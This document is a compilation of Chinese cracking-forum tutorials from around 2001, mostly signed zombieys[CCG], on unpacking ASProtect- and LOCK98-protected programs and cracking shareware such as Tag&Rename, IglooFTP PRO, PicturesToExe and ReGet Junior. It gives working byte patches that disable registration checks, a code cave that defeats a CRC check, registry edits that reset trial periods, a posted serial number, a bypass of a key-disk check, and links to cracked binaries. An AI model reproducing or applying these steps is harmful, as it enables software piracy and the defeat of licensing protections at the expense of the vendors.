1 0008AECC USER32.dll 01C7 MsgWaitForMultipleObjects
1 0008AED0 USER32.dll 01D9 PeekMessageA
1 0008AED4 USER32.dll 0198 KillTimer
1 0008AED8 USER32.dll 01A1 LoadIconA
1 0008AEDC USER32.dll 023C SetTimer
1 0008AEE0 USER32.dll 000F BringWindowToTop
1 0008AEE4 USER32.dll 017E InvalidateRect
1 0008AEE8 USER32.dll 00EE GetClientRect
1 0008AEEC USER32.dll 020D SetCapture
1 0008AEF0 USER32.dll 01F4 ReleaseCapture
1 0008AEF4 USER32.dll 01A7 LoadMenuA
1 0008AEF8 USER32.dll 0140 GetSysColor
1 0008AEFC USER32.dll 00B8 EnableWindow
1 0008AF00 USER32.dll 0299 WinHelpA
1 0008AF04 USER32.dll 0193 IsWindow
1 0008AF08 USER32.dll 01A3 LoadImageA
1 0008AF0C USER32.dll 0157 GetWindowRect
1 0008AF10 USER32.dll 0204 SendMessageA
1 0008AF14 USER32.dll 019B LoadBitmapA
1 0008AF18 USER32.dll 0277 UpdateWindow
1 0008AF1C USER32.dll 01BA MessageBoxA
1 0008AF20 USER32.dll 0192 IsRectEmpty
1 0008AF24 USER32.dll 0143 GetSystemMetrics
1 0008AF28 USER32.dll 00D5 FillRect
1 0008AF2C USER32.dll 00E1 GetAsyncKeyState
1 0008AF30 USER32.dll 0224 SetMenu
1 0008AF34 USER32.dll 01C6 MoveWindow
1 0008AF38 USER32.dll 018A IsClipboardFormatAvailable
1 0008AF3C USER32.dll 00F0 GetClipboardData
1 0008AF40 USER32.dll 01D0 OpenClipboard
1 0008AF44 USER32.dll 00B5 EmptyClipboard
1 0008AF48 USER32.dll 0213 SetClipboardData
1 0008AF4C USER32.dll 0040 CloseClipboard
1 0008AF50 USER32.dll 0128 GetMessagePos
1 0008AF54 USER32.dll 01FB ScreenToClient
1 0008AF58 USER32.dll 01B7 MapWindowPoints
1 0008AF5C USER32.dll 0104 GetFocus
1 0008AF60 USER32.dll 0210 SetClassLongA
1 0008AF64 USER32.dll 003E ClientToScreen
1 0008AF68 USER32.dll 01E9 RegisterClipboardFormatA
1 0008AF6C USER32.dll 0232 SetRect
1 0008AF70 USER32.dll 0008 AppendMenuA
1 0008AF74 USER32.dll 0196 IsWindowVisible
1 0008AF78 USER32.dll 01F6 RemoveMenu
1 0008AF7C USER32.dll 00AC DrawMenuBar
1 0008AF80 USER32.dll 01B9 MessageBeep

FThunk: 0008B008 NbFunc: 00000001
0 0008B008 ? 0000 00410150
最后这个函数我实在是不知道干什么的了，删掉好啦:)

选add new section，然后点fix dump。]

最后把dump.exe的ep改成0007f732。

修复it后，运行IglooFTP PRO非法操作(哪个程序能给我个惊喜不来这个呀)，所以就载入看看啦。发现错误在这个地方：

:00478593 8B0D28ED4A00 mov ecx, dword ptr [004AED28]

* Reference To: ADVAPI32., Ord:0000h
|
:00478599 E8726A0000 Call 0047F010
:0047859E FF1554ED4A00 call dword ptr [004AED54] ->call 477c90
这个只能用原版跟进去看看啦，发现这里最后call的是477c90，在对应的位置改一下就好了。
:004785A4 8B8D2CFFFFFF mov ecx, dword ptr [ebp+FFFFFF2C]
:004785AA E811040000 call 004789C0
:004785AF 8B952CFFFFFF mov edx, dword ptr [ebp+FFFFFF2C]
:004785B5 8982D8000000 mov dword ptr [edx+000000D8], eax
:004785BB 8B852CFFFFFF mov eax, dword ptr [ebp+FFFFFF2C]
:004785C1 83B8D800000000 cmp dword ptr [eax+000000D8], 00000000
:004785C8 7416 je 004785E0
:004785CA B9C8EC4A00 mov ecx, 004AECC8
:004785CF E83C090000 call 00478F10
:004785D4 8B8D2CFFFFFF mov ecx, dword ptr [ebp+FFFFFF2C]
:004785DA 8981D8000000 mov dword ptr [ecx+000000D8], eax

运行正常，点ABOUT菜单还是非法操作，继续查找导致错误的原因。在这里：

:00477D18 FF155CED4A00 CALL [004AED54]
:00477D38 FF1560ED4A00 CALL [004AED60]

call的内容是个ret，老规矩用winhex统统替换成90也就是nop，还好只有一次。哪位大哥有更好的改法，麻烦说一声。

再有在内存中看到AB3405也跟上面3个地址ABC8FC,2个ABC850在一起，这个肯定会导致某个命令的非法操作，不过在不联网的状况下我无法找到，哪位大哥能找到的话，麻烦把这个补全了，多谢。

至此运行正常，脱壳任务完成了，有错误，不当的地方或建议的话，请提出。

关于程序的crack部分，我只是草草看了一下，发现我在短时间内无法完成，还是请有精力有时间的兄弟们代劳吧，先让我把突击aspr脱壳学习完成再说。第一次手动脱壳成功花了我大约3小时，笨呀，天生的:(，不过偶会努力啦:)。

下载：http://zombieys.cn.hongnet.com/unp-iftppro.rar

xixi包括完整的import table哦

2001.9.14
zombieys[CCG]

———————————————————————————————>
.-" "-. unpacked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


PicturesToExe v3.60

 标 题:脱PicturesToExe v3.60的壳 (1千字)
发信人:zombieys
时 间:2001-9-15 0:34:06
详细信息:
脱PicturesToExe v3.60的壳

有人问这个呀，这是最后一次复习了，简写一下。

unpack(2001.9.15)

由于是delphi程序利用快速寻找aspr入口的方法:
执行apr.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在apr里这个位置在offset:0011EC34处，用peditor的flc功能将它转换为virtual address就是0051EC34----oep。

ok，下面要在入口处脱壳，打开SuperBPM，点erase，用trw载入apr.exe，下g 0051EC34，下suspend。用prodump选apr进程dump(full)，再打ctrl+n，f5。

接着用ImportREC1.2final修复import table

1 001241F8 KERNEL32.dll 0151 GetCommandLineA
1 001242EC KERNEL32.dll 033C WinExec
1 00124338 KERNEL32.dll 024C LockResource
1 0012437C KERNEL32.dll 01E9 GetVersion
1 001243D4 KERNEL32.dll 0163 GetCurrentProcessId
1 001243DC KERNEL32.dll 013D FreeResource
1 0012441C KERNEL32.dll 00C7 CreateProcessA

选add new section，然后点fix dump。

最后把dump_.exe的ep改成0011EC34。这个我以前疏忽了，ImportREC修完程序后会在后面加_,所以以前的都是改dump_.exe。

这是我唯一见过的一个脱壳后能正常运行的软件了。

我写的够多啦，不是特别难，。

crack我可不管了，谁有时间就来试试吧。

2001.9.15
zombieys[CCG]

———————————————————————————————>
.-" "-. unpacked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


ReGet Junior 2.0(三）

标 题:ReGet Junior 2.0破解手记(三） (1千字)
发信人:囚童
时 间:2002-2-23 18:15:58
详细信息:

ReGet Junior 2.0破解手记(三）

作者：　囚童[FCG][BCG]
课题：　（三）脱除ReGet Junior 2.0主程序文件regetjr.exe的壳
背景：　PACKED WITH ASProtect v1.2
下载：　http：//www.cn778.net/download/c_bexpress.zip
工具：　CASPR v1.012
        EditPlus 2
        language2000中文版v4.51
        FileInfo2.40
        TYP
        BTW2000

接ReGet Junior 2.0破解手记(一）、(二）

在破解手记(一）、(二）中，我们讲了如何解除ReGet Junior 2.0广告动画画面的方
法三种，解除显示软件名称和版本号的BANNER的方法,并制作了内存补丁。

这里，我们介绍如何给ReGet Junior 2.0主程序文件regetjr.exe脱壳。

regetjr.exe原有的尺寸为497K。

用language2000中文版v4.51、FileInfo2.40和TYP都没能查出regetjr.exe是否被压
缩过，但用BTW2000和TRW2000观察到的程序入口分别是440A2A和400040，据此可以判
断：regetjr.exe是被压缩过的，怀疑是ASProtect v1.2。

①
用EditPlus建立CASPR.ini文件如下：

[Options]
Import=0x00000001
Export=0x00000001
TLS=0x00000001
Resource=0x00000001
Relocation=0x00000000
Overlay=0x00000001

[RVAs]
;IMAGE_IMPORT_DESCRIPTOR
IID=0x00000000

;IMAGE_IMPORT_OriginalFirstThunk_DATAs
IIOFTD=0x00000000

;IMAGE_IMPORT_BY_NAMEs
IIBN=0x00000000

;IMAGE_IMPORT_DESCRIPTOR.DLLNAME
IIDDN=0x00000000

;IMAGE_EXPORT_DIRECTORY
IED=0x00000000

;IMAGE_TLS_DIRECTORY
ITLSD=0x00000000

;IMAGE_RESOURCE_DIRECTORY
IRD=0x00000000

;IMAGE_RESOURCE_DATA
IRData=0x00000000

;IMAGE_RELOCATION
IR=0x00000000

②
用EditPlus建立批文件Un-pack.BAT如下：

CASPR -L regetjr.exe -P Output

③
建立一个工作目录Un-pack。将下列文件拷入这个目录：

Caspr.exe
Caspr.ini
Caspr1.dll
Caspr2.dll
regetjr.exe
Un-pack.BAT

④
在Un-pack目录下再建一个子目录Output。

⑤
运行Un-pack.BAT
Caspr在Output目录中生成一个新文件regetjr.ex_
没有异常提示出现。

⑥
将新文件regetjr.ex_以后缀EXE更名后，覆盖原有的regetjr.exe

⑦
用BTW2000复查程序入口点为440A2A。

⑧
试运行新的regetjr.exe，没有异常提示出现，检验各项功能齐全。

新的regetjr.exe尺寸为982K。

脱壳成功。

相关文章：ReGet Junior 2.0破解手记(一） ReGet Junior 2.0破解手记(二) ReGet Junior 2.0破解手记(三）


Tag&Rename v.1.9.6

 标 题:注册Tag&Rename v.1.9.6 (5千字)
发信人:zombieys
时 间:2001-9-11 19:45:31
详细信息:

注册Tag&Rename v.1.9.6

这个东西发布已经很长时间了，而破解也早就做出来了，由于脱壳部分一直没有搞定所以到现在才放出(直到现在还没搞定，谁来指点我一下呀)，当初是找hying大哥脱壳的，在这里说声多谢啦:)。

1.unpack(2001.9.8)
首先是脱壳部分，这里介绍一种高速寻找aspr入口的方法(寻找时间应该小于1分钟,不过只对aspr有效，对其他的壳无效)，这个方法的可靠性还有待进一步验证。
方法：执行tag&rename.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在tag&rename里这个位置在offset:00156000处，用peditor的flc功能将它转换为virtual address就是556a00----oep。
接着修复import table
以下操作必须在tag&rename的地盘里
修复import table部分

(1) 0015C230 KERNEL32.dll 0151 GetCommandLineA

(2) 0015C380 KERNEL32.dll 036E FreeResource

(3) 0015C3B8 KERNEL32.dll 01E9 GetVersion

(4) 0015C410 KERNEL32.dll 0163 GetCurrentProcessId

(5) 0015C41C KERNEL32.dll 00E2 LockRescouce

还是那句话，ImportREC一般只有这几个函数认不出来，以后根据情况照抄就可以了，一定要参考周围的，以免抄错。

修复it后，运行t&r报错Initialization Error，所以就载入看看。发现错误在这个地方：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005569BD(C)
:00556A0E E86904EBFF call 00406E7C
:00556A13 B8A85F5500 mov eax, 00555FA8
:00556A18 E8FBE7FFFF call 00555218
:00556A1D 33C0 xor eax, eax
:00556A1F 55 push ebp
:00556A20 68706A5500 push 00556A70
:00556A25 64FF30 push dword ptr fs:[eax]
:00556A28 648920 mov dword ptr fs:[eax], esp
:00556A2B A1F89D5500 mov eax, dword ptr [00559DF8]
:00556A30 8B00 mov eax, dword ptr [eax]
:00556A32 E879C3EEFF call 00442DB0
:00556A37 A108A05500 mov eax, dword ptr [0055A008]
:00556A3C 8B00 mov eax, dword ptr [eax]
:00556A3E E81DFBF1FF call 00476560
:00556A43 FF15CCBC5500 call dword ptr [0055BCCC] -->call 556120
这个只能用原版跟进去看看啦，发现这里最后call的是556120，在对应的位置改一下就好了。/12fc8ac
:00556A49 A1F89D5500 mov eax, dword ptr [00559DF8]
:00556A4E 8B00 mov eax, dword ptr [eax]

最后把dump.exe的ep改成156a00。

修复it后，运行t&r报错Initialization Error，所以就载入看看啦。发现错误在这个地方：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005569BD(C)
|
:00556A0E E86904EBFF call 00406E7C
:00556A13 B8A85F5500 mov eax, 00555FA8
:00556A18 E8FBE7FFFF call 00555218
:00556A1D 33C0 xor eax, eax
:00556A1F 55 push ebp
:00556A20 68706A5500 push 00556A70
:00556A25 64FF30 push dword ptr fs:[eax]
:00556A28 648920 mov dword ptr fs:[eax], esp
:00556A2B A1F89D5500 mov eax, dword ptr [00559DF8]
:00556A30 8B00 mov eax, dword ptr [eax]
:00556A32 E879C3EEFF call 00442DB0
:00556A37 A108A05500 mov eax, dword ptr [0055A008]
:00556A3C 8B00 mov eax, dword ptr [eax]
:00556A3E E81DFBF1FF call 00476560
:00556A43 FF15CCBC5500 call dword ptr [0055BCCC] -->call 5562b8/556120?
这个只能用原版跟进去看看啦，发现这里最后call的是5562b8，在对应的位置改一下就好了。
:00556A49 A1F89D5500 mov eax, dword ptr [00559DF8]
:00556A4E 8B00 mov eax, dword ptr [eax]

至此运行正常，脱壳任务完成了，继续crack工作。

2.crack(07/01/01)

这个判断的模式一直没变过。选注册，名字任意，注册码78787878，ctrl+d下s 30:0 l ffffffff '78787878'，bpm搜到的地址。跟踪到如下：

(1)
:0045C8D3 A154034100 mov eax, dword ptr [00410354]
:0045C8D8 E81B66FAFF call 00402EF8
:0045C8DD 8945F8 mov dword ptr [ebp-08], eax
:0045C8E0 8D45F8 lea eax, dword ptr [ebp-08]
:0045C8E3 E87CFEFFFF call 0045C764
:0045C8E8 8B55FC mov edx, dword ptr [ebp-04]
:0045C8EB 8B45F8 mov eax, dword ptr [ebp-08]
:0045C8EE 8B08 mov ecx, dword ptr [eax]
:0045C8F0 FF5150 call [ecx+50]
:0045C8F3 40 inc eax
:0045C8F4 7402->9090 je 0045C8F8->nop //offset:0005BEF4
:0045C8F6 B301 mov bl, 01

最难的还是无提示的crc校验，这个是什么时候加上的我还真没注意过，花了我不少时间，这个没法细说，花时间跟吧。起初选择nop掉55609f-5560A0，没有成功，后来就接着跟踪看他如何处理这段代码，没多久就迷失在代码迷宫里:(。干脆直接打补丁吧，最后的出路了。用topo1.2找出可用空间的地址0066750A/offset:0015569A，把那段用来做crc的数据直接复制过去好啦

(2)
:0055609A B904000000->E96B141100 mov ecx, 00000004->jmp 0066750A
:0055609F F3 repz
:005560A0 A5 movsd
:005560A1 33C0 xor eax, eax
:005560A3 5A pop edx
:005560A4 59 pop ecx
:005560A5 59 pop ecx
:005560A6 648910 mov dword ptr fs:[eax], edx
:005560A9 68BE605500 push 005560BE

66750a c705bcbc5500879ec943 mov dword ptr [55bcbc],43c99e87 //offset:0015569A
667514 c705c0bc55006b0c9ee5 mov dword ptr [55bcc0],e59e0c6b
66751e c705c4bc55008d9c5435 mov dword ptr [55bcc4],35549c8d
667528 c705c8bc5500b0212994 mov dword ptr [55bcc8],942921b0
667532 e96aebeeff jmp 5560a1

完活，好像能正常运行了，有错误的话请指出:)

最后控制trg&rename时间的东西就是这个，用norton register tracker监测到的
[HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\CLSID\{D5BB95E5-1303-615A-7237-C9FA207D1E21}]
@="YWNPK6ipEx/4yXKh"
删掉就可以重新计时

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\CLSID\{D5BB95E5-1303-615A-7237-C9FA207D1E21}]
@=""
或用这个补丁，把它存成reset.reg

汉化已拜托宏伟搞定了http://hanhua.on.net.cn/default.asp在这下

顺便贴个TagRename Ver1.9-1.9.51的sn
51soft放出的，对1.9.6无效

name: ENFUSiA
serial: TR-O1tCAYu5-NzL90WVT

2001.9.11
zombieys[CCG]

———————————————————————————————>
.-" "-. Cracked by zombieys[CCG] >
/　　　　　　\ qq:1789655 >
| | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


Tag&Rename v2.0 beta 1

 标 题:注册Tag&Rename v2.0 beta 1 (5千字)
发信人:zombieys
时 间:2001-9-12 20:14:15
详细信息:

注册Tag&Rename v2.0 beta 1

这个又步wincmd的后尘，换汤不换药。做法跟1.9.6差不多，细节部分稍有不同。
1.unpack(2001.9.12)
首先是脱壳部分，利用快速寻找aspr入口的方法:
执行tag&rename.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在tag&rename里这个位置在offset:0016e8a0处，用peditor的flc功能将它转换为virtual address就是56f2a0----oep。
ok，下面要在入口处脱壳，打开SuperBPM，点erase，用trw载入t&r2b1，下g 56f2a0，下suspend。用prodump选t&r2b1进程dump(full)，再打ctrl+n，f5。注:为什么t&r1.9.6我没有在入口处脱壳，因为那纯属巧合，刚好能用罢了，而2.0b1不能用呀。一般情况下要在入口处dump，不过能省则省么，偶懒，哈哈!

接着修复import table，不过这个有点意思：ImportREC1.2final无法提取完整的it，要手动修复超过300个函数，累死~~~，好在有1.9.6的it，copy过来就行了，不过也狂耗时间，最衰的是修复后无法运行,惨~~~。无奈之下，用ImportREC1.2beta2重建it，居然成功了，hoho,good luck:)

以下操作必须在tag&rename的地盘里探测

*Tag&Rename v2.0 beta

修复import table部分

(1) 00174208 KERNEL32.dll 0151 GetCommandLineA

(2) 00174358 KERNEL32.dll 013D FreeResource

(3) 00174394 KERNEL32.dll 01E9 GetVersion

(4) 001743f4 KERNEL32.dll 0163 GetCurrentProcessId

(5) 00174400 KERNEL32.dll 024c LockResource

补充一点关于菜单功能限制：

具体的用dede或exescope打开看看，aspack的功能限制也可以按这样打开，不过对改section name的form无效，哪位大哥知道的话麻烦告诉小弟一声。

这两个是由enable控制的08为false，09为true

language由于没有此资源，打开也没用。

offset:23ab75 08->09 //open->close

goto languages download page可以使用，不过没有任何意义了:(，等正式版吧

offset:23abe7 08->09 //open->close

这两个是我第1/2次脱aspr的壳，错误在所难免，请见谅

修复it后，运行t&r报错Initialization Error，所以就载入看看啦。发现错误在这个地方：

:0056F2BF 55 push ebp
:0056F2C0 6804F35600 push 0056F304
:0056F2C5 64FF30 push dword ptr fs:[eax]
:0056F2C8 648920 mov dword ptr fs:[eax], esp
:0056F2CB A13C235700 mov eax, dword ptr [0057233C]
:0056F2D0 8B00 mov eax, dword ptr [eax]
:0056F2D2 E8DD23EDFF call 004416B4
:0056F2D7 FF15643E5700 call dword ptr [00573E64] -->call 56E9B4
这个只能用原版跟进去看看啦，发现这里最后call的是56E9B4，在对应的位置改一下就好了。
:0056F2DD A13C235700 mov eax, dword ptr [0057233C]
:0056F2E2 8B00 mov eax, dword ptr [eax]

至此运行正常，脱壳任务完成了，继续crack工作。

2.crack(2001.9.12)
这个判断的模式一直没变过。选注册，名字任意，注册码78787878，ctrl+d下s 30:0 l ffffffff '78787878'，bpm搜到的地址。跟踪到如下：

(1)
* Possible StringData Ref from Code Obj ->"x!A"
|
:0045B2F7 A130054100 mov eax, dword ptr [00410530]
:0045B2FC E8D37CFAFF call 00402FD4
:0045B301 8945F8 mov dword ptr [ebp-08], eax
:0045B304 8D45F8 lea eax, dword ptr [ebp-08]
:0045B307 E87CFEFFFF call 0045B188
:0045B30C 8B55FC mov edx, dword ptr [ebp-04]
:0045B30F 8B45F8 mov eax, dword ptr [ebp-08]
:0045B312 8B08 mov ecx, dword ptr [eax]
:0045B314 FF5150 call [ecx+50]
:0045B317 40 inc eax
:0045B318 7402->9090 je 0045B31C ->nop
:0045B31A B301 mov bl, 01

最难的还是无提示的crc校验，花了我不少时间，这个没法细说，花时间跟吧。起初选择nop掉56E933-56E934，没有成功，后来就接着跟踪看他如何处理这段代码，没多久就迷失在代码迷宫里:(。干脆直接打补丁，最后的出路了。用topo1.2找出可用空间的地址0067C4A3/offset:0025F4A3，把那段用来做crc的数据直接复制过去好啦

(2)
* Possible Reference to String Resource ID=00004: "603D7D9D717D8C9023A94720FC9345E0FC9345E0"
|
:0056E92E B904000000->e970db1000 mov ecx, 00000004->jmp 67c4a3
:0056E933 F3 repz
:0056E934 A5 movsd
:0056E935 33C0 xor eax, eax
:0056E937 5A pop edx
:0056E938 59 pop ecx
:0056E939 59 pop ecx
:0056E93A 648910 mov dword ptr fs:[eax], edx
:0056E93D 6852E95600 push 0056E952

67c4a3 c705543e5700842e0ceb mov dword ptr [573e54],eb0c2e84 //offset:0025f4a3
67c4ad c705583e5700cd7614b3 mov dword ptr [553e58],b31476cd
67c4b7 c7055c3e5700c2883e70 mov dword ptr [553e5c],703e88c2
67c4c1 c705603e570061ad33d2 mov dword ptr [55bcc8],d233ad61
67c4cb e96524efff jmp 56e935

完活，好像能正常运行了，有错误的话请指出:)

最后控制trg&rename时间的东西就是这个，用norton register tracker监测到的
[HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\CLSID\{B6BDA2D7-451C-586C-838F-E3ACC3BACDB1}]
@="rKzQ1ZQ67t14y19M"
删掉就可以重新计时

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\CLSID\{B6BDA2D7-451C-586C-838F-E3ACC3BACDB1}]
@=""
或用这个补丁，把它存成reset.reg

汉化不知道需不需要改动，宏伟兄~~~~~~~~~~~~~~

顺便贴个TagRename Ver1.9-1.9.51的sn
51soft放出的，对以后版本无效

name: ENFUSiA
serial: TR-O1tCAYu5-NzL90WVT

2001.9.12
zombieys[CCG]

———————————————————————————————>
.-" "-. Cracked by zombieys[CCG] >
/　　　　　　\ qq:1789655 >
| | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


Tag&amp;Rename v2.0release

 标 题:注册Tag&Rename v2.0release (3千字)
发信人:zombieys
时 间:2001-11-4 15:40:23
详细信息:
注册Tag&Rename v2.0release

以前写过，这次只改原来的一个小错误。

1.unpack

首先是脱壳部分，方法：执行tag&rename.exe，用winhex搜索tag&rename内存，填runtime执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，2.0这个位置在593060。然后打开superbpm，点erase，运行trw2k，load t&r2.0，下g 593060，下suspend，用prodump选dump full保存。

接着修复import table(就这几个，没变过)

(1) 00198208 KERNEL32.dll 0151 GetCommandLineA
(2) 00198354 KERNEL32.dll 00E2 LockRescouce (我以前写的那个错了,改成这个)
(3) 00198390 KERNEL32.dll 01E9 GetVersion
(4) 001983ec KERNEL32.dll 0163 GetCurrentProcessId
(5) 001983f8 KERNEL32.dll 00E2 LockRescouce

修复it后，运行t&r报错Initialization Error，所以就载入看看啦。发现错误在这个地方：

//******************** Program Entry Point ********
:00593060 55 push ebp
:00593061 8BEC mov ebp, esp
:00593063 83C4F4 add esp, FFFFFFF4
:00593066 53 push ebx
:00593067 56 push esi
:00593068 57 push edi
:00593069 B8602A5900 mov eax, 00592A60
:0059306E E82542E7FF call 00407298
:00593073 33C0 xor eax, eax
:00593075 55 push ebp
:00593076 68BA305900 push 005930BA
:0059307B 64FF30 push dword ptr fs:[eax]
:0059307E 648920 mov dword ptr fs:[eax], esp
:00593081 A194635900 mov eax, dword ptr [00596394]
:00593086 8B00 mov eax, dword ptr [eax]
:00593088 E8CBE3EAFF call 00441458
:0059308D FF15307F5900 call dword ptr [00597F30]
这个只能用原版跟进去看看啦，发现这里最后call的是59277c，在对应的位置改一下就好了。e8c83201
:00593093 A194635900 mov eax, dword ptr [00596394]
:00593098 8B00 mov eax, dword ptr [eax]

至此运行正常，脱壳任务完成了，继续crack工作。

2.crack

这个判断的模式一直没变过。选注册，名字任意，注册码78787878，ctrl+d下s 30:0 l ffffffff '78787878'，bpm搜到的地址。跟踪到如下：

* Possible StringData Ref from Data Obj ->"?A"
|
:0045B03B A188044100 mov eax, dword ptr [00410488]
:0045B040 E88F7FFAFF call 00402FD4
:0045B045 8945F8 mov dword ptr [ebp-08], eax
:0045B048 8D45F8 lea eax, dword ptr [ebp-08]
:0045B04B E87CFEFFFF call 0045AECC
:0045B050 8B55FC mov edx, dword ptr [ebp-04]
:0045B053 8B45F8 mov eax, dword ptr [ebp-08]
:0045B056 8B08 mov ecx, dword ptr [eax]
:0045B058 FF5150 call [ecx+50]
:0045B05B 40 inc eax
:0045B05C 7402->9090 je 0045B060->nop
:0045B05E B301 mov bl, 01

这次没用crc校验??? lucky;-)
不知道有没有暗桩？？？

完活，好像能正常运行了，有错误的话请指出:)

另外AWMAWorkshop V1.5release 今天也已搞定(aspr保护)

下载：http://zombieys.cn.hongnet.com/cr-AWMAWorkshop15.rar
下载：http://zombieys.cn.hongnet.com/cr-tag&rename2.rar

仅供参考研究

2001.11.4
zombieys[CCG]

———————————————————————————————>
.-" "-. Cracked by zombieys[CCG] >
/　　　　　　\ qq:1789655 >
| | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


WinNavigator v1.95

 标 题:脱WinNavigator v1.95的壳 (1千字)
发信人:zombieys
时 间:2001-9-15 0:35:20
详细信息:
脱WinNavigator v1.95的壳

复习用的，所以简写了，跟PicturesToExe v3.60在一起的，一并下啦。

unpack(2001.9.15)

由于是delphi程序利用快速寻找aspr入口的方法:
执行Wn.exe，用prodump选dump(full)脱壳,存为dump.exe。接着用winhex打开dump.exe，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，而在Wn里这个位置在offset:001613C0处，用peditor的flc功能将它转换为virtual address就是00561DC0----oep。

ok，下面要在入口处脱壳，打开SuperBPM，点erase，用trw载入apr.exe，下g 00561DC0，下suspend。用prodump选apr进程dump(full)，再打ctrl+n，f5。

接着用ImportREC1.2final修复import table

1 0019B348 KERNEL32.dll 033C WinExec
1 0019B4C4 KERNEL32.dll 00C7 CreateProcessA

选add new section，然后点fix dump。

最后把dump_.exe的ep改成16f2a0。

这是我见过的第2个脱壳后能正常运行的软件了，lucky~~~`。

我写的够多啦，不是特别难。最最后一次写脱aspr的东东啦~~~~~~~~~

crack我也不管了，谁有时间就来试试吧。

2001.9.15
zombieys[CCG]

———————————————————————————————>
.-" "-. unpacked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


环宇通汉英翻译系统3.0脱壳

 标 题:环宇通汉英翻译系统3.0脱壳（lock98),有人要，胡乱写一些。 (5千字)
发信人:hying
时 间:2001-10-16 16:00:02
详细信息:
环宇通汉英翻译系统3.0用LOCK98加壳，这个壳相对来说还是很温和的。没有ANTI-DEBUG，没有破坏输入表。
简要说一下。
一开始有很多SMC来还原程序的代码，很简单，但比较长就不多说了。遇到LOOP就G到它的下面一句，只要有耐心通过他并不困难。然后走到读密匙盘的地方如下：
0167:004E7C37 MOV BYTE [EBP+00433DE9],00
0167:004E7C3E MOV AL,01
0167:004E7C40 MOV DL,[EBP+00433DE9]
0167:004E7C46 CALL 004E78B5
0167:004E7C4B MOV AL,02
0167:004E7C4D MOV DL,[EBP+00433DE9]
0167:004E7C53 CALL 004E78B5
0167:004E7C58 MOV AX,0401
0167:004E7C5C MOV CX,4F01
0167:004E7C60 MOV DH,01
0167:004E7C62 MOV DL,[EBP+00433DE9]
0167:004E7C68 CALL 004E7925
0167:004E7C6D MOV AX,0201
0167:004E7C71 MOV CX,4F32
0167:004E7C75 MOV DH,01
0167:004E7C77 MOV DL,[EBP+00433DE9]
0167:004E7C7D CALL 004E7925
0167:004E7C82 MOV DL,[EBP+00433DE9]
0167:004E7C88 CALL 004E78FD
0167:004E7C8D MOV DL,[EBP+00433DE9]
0167:004E7C93 CALL 004E78FD
0167:004E7C98 MOV EBX,[EBP+00433DD7]
0167:004E7C9E CMP EBX,[EBP+00433DBF]
0167:004E7CA4 JZ 004E7CB7 <----注意这个，强迫跳
0167:004E7CA6 CMP BYTE [EBP+00433DE9],01
0167:004E7CAD JNC 004E7CCE
0167:004E7CAF INC BYTE [EBP+00433DE9]
0167:004E7CB5 JMP SHORT 004E7C3E
0167:004E7CB7 PUSH EAX
0167:004E7CB8 LEA EDI,[EBP+00433BD7]
0167:004E7CBE LEA ECX,[EBP+00433CCA]
0167:004E7CC4 SUB ECX,EDI
0167:004E7CC6 DEC ECX
0167:004E7CC7 CLD
0167:004E7CC8 XOR AL,AL
0167:004E7CCA REP STOSB
0167:004E7CCC POP EAX
0167:004E7CCD RET
上面强迫跳转后就不会要求密匙盘了。再往下还有一些还原代码，最后到如下：

0167:004E7118 MOV EAX,004300A6
0167:004E711D ADD EAX,EBP
0167:004E711F SUB EAX,[EBP+00433DBB]
0167:004E7125 PUSH EAX
0167:004E7126 LEA EDI,[EBP+00430000]
0167:004E712C LEA ECX,[EBP+00433138]
0167:004E7132 SUB ECX,EDI
0167:004E7134 DEC ECX
0167:004E7135 CLD
